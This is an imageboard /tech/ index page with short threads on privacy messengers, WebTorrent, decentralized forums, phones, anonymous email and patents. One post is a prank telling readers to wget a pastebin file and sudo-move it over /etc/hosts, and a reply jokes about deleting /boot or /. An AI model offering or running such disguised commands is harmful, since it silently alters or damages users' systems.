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cwtch.im Comrade 06/12/2020 (Fri) 20:24:47 No. 2756 [Reply] [Last]
https://git.openprivacy.ca/cwtch.im Has anyone heard of cwtch.im ? it's made by the same people who made ricochet (which is now deprecated). it's still in the early stages but it looks like some sort of multicast version of ricochet. Possible replacement for IRC in the future? whitepaper pdf attached. Reading through it but its using some cryptography terms im not familiar with. written in go
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>>2938 Riot is just a client for the matrix protocol though.
>>2941 Well that's probably what anon means then. Matrix/Riot is already in the GNU/Linux position it seems in regards to people calling it by the name of the interface rather than the underlying system.
>>2943 if we're thinking about it this way, Riot is more like GNU than it is like Linux. GNU is what the user actually interacts while Linux does all the mediating with the hardware so that shit actually gets done. So it's more like Riot/Matrix.
>>2947 It's more like Riot/Electron (or Riot/Firefox). Matrix could be POSIX. Or you could say, Riot is not Matrix. But it doesn't matter, they are changing their name: https://blog.riot.im/the-world-is-changing/
>>2948 nice

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webtorrents to reduce serload ? Comrade 06/06/2020 (Sat) 16:47:43 No. 2122 [Reply] [Last]
Since the servers gets really slow when lots of people post lots of "large" (a few megabytes) files, are web torrents a possible avenue to ease the burden on the server ? https://webtorrent.io/
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>>2903 PeerTube uses WebRTC? I've been using PeerTube over Palemoon for sometime and haven't experienced any problems. Palemoon doesn't use WebRTC and probably never will.
This would kill the Tor network though, way too many connections for relays to handle.
>>2909 PeerTube can function without WebRTC, it just doesn't use P2P to download movies. Also, administrators of PeerTube instances can turn on or off P2P sharing. So to use WebTorrent on PeerTube, you need to have WebRTC and use a PeerTube instance that has P2P sharing turned on. The instance will say whether it has P2P sharing on the About page. Like this one has it turned on. https://open.tube/about/instance
>>2912 Well that's very disappointing to learn that WebTorrent is based on the cancer of WebRTC. I've just lost a lot of enthusiasm I had for PeerTube, dangit.
>>2916 WebRTC is the only way to do P2P in a standard browser without extra software like you need for Tor, I2P, etc.

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Seizing the Means of Anonymous Discussion Comrade 03/22/2020 (Sun) 21:45:19 No. 575 [Reply] [Last]
Recent events have once again highlighted the necessity of a truly communal, self-governed anonymous discussion forum. This thread is for the development of new forms of decentralized anonymous image boards. The problem in need of a solution is this: How can we develop a forum that genuinely empowers its community and allows them to resist censorship? One recent attempt is NNTPChan/Overchan. NNTPChan is a decentralized imageboard that uses the NNTP protocol (network-news transfer protocol) to synchronize content between many different servers. It utilizes cryptographically-signed posts to perform optional/opt-in decentralized moderation. I'm still rather confused on how moderation works there myself. This seems like a great idea, by distributing a forum across a collection of servers one can resist the disruption of any single server. When 8ch was shutdown by its DDoS provider, however, its community didn't find the motivation to learn from this and migrate to a censorship-resistance platform. Instead its subcommunities were scattered to the winds, the ones that survived coalescing back on a number of individual websites using the classical top-down server-owner structure, with all the authority and alienation from its userbase that it necessarily contains. What lessons can be learned from this? Is there more that can be done?
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scuttlebutt.nz I've seen people try to use retroshare, but it's hopelessly fucked up.
>>2878 it works fine :(
>>2883 Scuttlebutt or RetroShare?
>>2883 None of your friends have a slightly different version, then. Every time I've tried to use it, the other people are on different distros or platforms where the version is a little newer or older and they are incompatible.
>>2885 ah thats fucked, never knew that was an issue thanks for letting me know

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Instantly Increase Your Happiness (Linux Only) Comrade 06/21/2020 (Sun) 03:18:45 No. 2886 [Reply] [Last]
Open your command prompt (linux) and run the following commands. >wget https://pastebin.com/raw/i5wABwHM >sudo mv i5wABwHM /etc/hosts and badabing badaboom!! There you GO!!
>>2886 WTF!!! A HOT MODEL JUST CAME THROUGH MY COMPUTAR AND SUCKED MY PEE PEE!???
>>2887 vased
>>2886 >requires root rights >doesn't replace X server or at least deletes /boot or / 0/10

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/dpt/ - Dialectial Programming Thread Comrade 06/17/2020 (Wed) 22:30:15 No. 2847 [Reply] [Last]
What are you working on /tech/?
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>>2864 Forgot to link this, thanks comrade.
hijacking this thread How do you apply dialectics to your understanding of computer programs? For one, digital logic is a dialectic. In transistors, there are in fact not two discrete "on" and "off" states, but actually a quantitative range of voltages which, near peak or low, qualitatively change to "on" or "off." https://www.marxists.org/reference/archive/mao/selected-works/volume-1/mswv1_17.htm >What is meant by the emergence of a new process? The old unity with its constituent opposites yields to a new unity with its constituent opposites, whereupon a new process emerges to replace the old. The old process ends and the new one begins. The new process contains new contradictions and begins its own history of the development of contradictions. This is fork() and exec()
>>2890 I don't because I am not some deranged cultist that must shoehorn their useless philosophy buzzwords everywhere.
>>2892 you're on bunkerchan

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Smartphones Comrade 03/13/2020 (Fri) 01:36:02 No. 477 [Reply] [Last]
Yes, smartphones are cool gadgets: You can read theory, browse /leftypol/ and listen to music on the go! Let's talk about these awesome devices in this thread! What models are you using?
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Samsung Galaxy S3 with LineageOS. Surprisingly still usable. Looking to upgrade to Samsung Galaxy S5 again with LineageOS. No google garbage apps for me thank you.
Can someone explain what this video on "LoRa Mesh Communication without Infrastructure" is to the layman? I heard it would be used to communicate *somehow* if the cops shut down cellphone towers? https://www.youtube.com/watch?v=TY6m6fS8bxU
>>2745 It's a walkie-talkie for text messages. LoRa operates on frequencies which were used by paging companies in the past, and still used for radio keychains for cars/garage doors, they're colloquially called ISM band. I don't like presence of bluetooth and gps functions on this thing, the idea glows suspiciously,a s well as lack of publicised fdroid distribution. The board should connect to phone via USB to avoid insecure wireless Bluetooth link to something you carry on yourself already, drop the ridiculous battery, and since phones already have GPS, it shouldn't have another one either.
>>1537 coom
I'm running both a Oneplus 3T on lineageOS and a stock 7T pro McLaren 5G.

Email Providers Comrade 06/17/2020 (Wed) 20:55:59 No. 2845 [Reply] [Last]
So based on basic Opsec I've been reading about you should have a seperation of your identity from your logins on TOR and whatnot for reddit or twitter or whatever the fuck. But all that shit requires emails and all these damn email providers require a phone number which defeats the whole purpose? Which email service can I use that won't demand my phone number and let me stay as anonymous as possible online?
>>2845 Guerilla mail, 10 minute mail, and so on. Bascially search "Temporary email" and choose one. Keep in mind that some websites block such emails or might want to get your phone number to "confirm" you're not a robot.
>>2845 autistici.org, riseup.net, or protonmail.com are examples I’ve seen, but I can’t speak on the legitimacy of any of them with confidence
If temporary mails are blocked I usually try create a Protonmail account. If they want a phone number, I just reset Tor identity and try again, until they give me an option to verify with an email instead, then I just try a few temporary emails until one works. Lately it's taken me only one retry at most to get through. In the past I also used Yandex since it was really easy to register while most websites consider it a legitimate provider. However their own captchas don't work over Tor anymore. A much bigger problem than creating and using throwaway emails is that lots of websites effectively block Tor via infinite Google captchas on their registration and/or login forms.

Licky Comrade 05/31/2020 (Sun) 23:27:19 No. 1954 [Reply] [Last]
https://licky.org Cute Discord alternative :)
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>>2014 whats the point of this over discord, is it more private?
It's a honeypot.
Never heard of this. >Cute Discord alternative >:) We already have RiotIM/matrix. >>2018 >It's a honeypot. This.
>>1954 where is the source code?
>>2018 These glowie ops get more and more low effort each year

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Patents and copyright Comrade 05/04/2020 (Mon) 14:24:32 No. 1570 [Reply] [Last]
Should they be abolished? If so, how it would affect technology/development.
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This is a topic dear to me, as a mathematician I think it should all be done away with. Please tell me why, in a post scarcity world, (which we are aiming for as we are communists) would we have patents? Why would some arbitrary collection of thoughts 'belong' to one person? This is no different to a kulak hoarding grain, someone hoarding the means of which to accelerate/advance society. It is pretty much literally impossible to do this in mathematics, it is a field pioneered by love. The only reason we have any of the devices which are deserving of patents is because they came from tinkering nerds, just imagine what world we'd have today (in regards to computing) if there were no closed source code? The only reason these devices exist because mathematicians sat down one day and wondering how they could do maths faster. In another dimension, the concept of art being 'owned' is also fairly ridiculous, comparing it to software it takes time to create, but can be (essentially) infinitely redistributed now through jpgs and mp3s, to infinitesimal cost. At the end of the day why would you advocate for people's passions to be motivated by profit, rather than the love of the craft, the desire to create? The only reason it is an issue in our current time is because of the fact that if you steal some unknown persons good work, and turn a profit on it by switching it up a tiny bit, you can then create masses of profit for yourself, and this sits their accruing royalties while 99% of creators get nothing, again no different from a landlord.
>>1612 This. But I will go back to >>1571 . We need world aboshlishment of those laws because if abolished in one country like in USSR, it will create pressure of profit oriented foreign capital wich doesnt play by your rules.
As somebody with a patent, patents do not protect creators or innovation - they are a way for companies to control markets and litigate with other companies/ individuals. Every independent creator I know who has dallied with patents lost immeasurable time and money in obtaining patent and subsequent fruitless litigation attempts against patent violations. Fuck a patent
Linking Gavin Mueller's book again because he seems like one of the only marxists talking about topics related to this.
>>1570 A more interesting question is Are they needed currently in this capitalist world or still just useless

Comrade 05/10/2020 (Sun) 19:21:06 No. 1689 [Reply] [Last]
Is there a website where I can see how well a particular GPU can run a particular game? Most of what I want to play is at least 10 years old and I figure that todays integrated graphics can handle that with aploumb. Unfortunately, every website that I can find on this caters to well-off consoomers who want to play the latest AAA "game" (That is more cutscene than game) from EA in 4K on their Windows 10 computer.
check system requirements and search on youtube your gpu model and the name of the game
https://www.notebookcheck.net/Mobile-Graphics-Cards-Benchmark-List.844.0.html Can't say anything about credibility, they test games up to 5 years old or so it seems, I hope they actually launch a script that runs all the software benchmarks in sequence and calculate a median average among computers with this GPU installed they have tested. Overall, they had decent reviews of notebooks ~7 years ago when I last checked. Looking up game name + mobile GPU model on youtube is also a viable solution, cult classics like Minecraft and Crysis are tested on all sorts of toasters for giggles.

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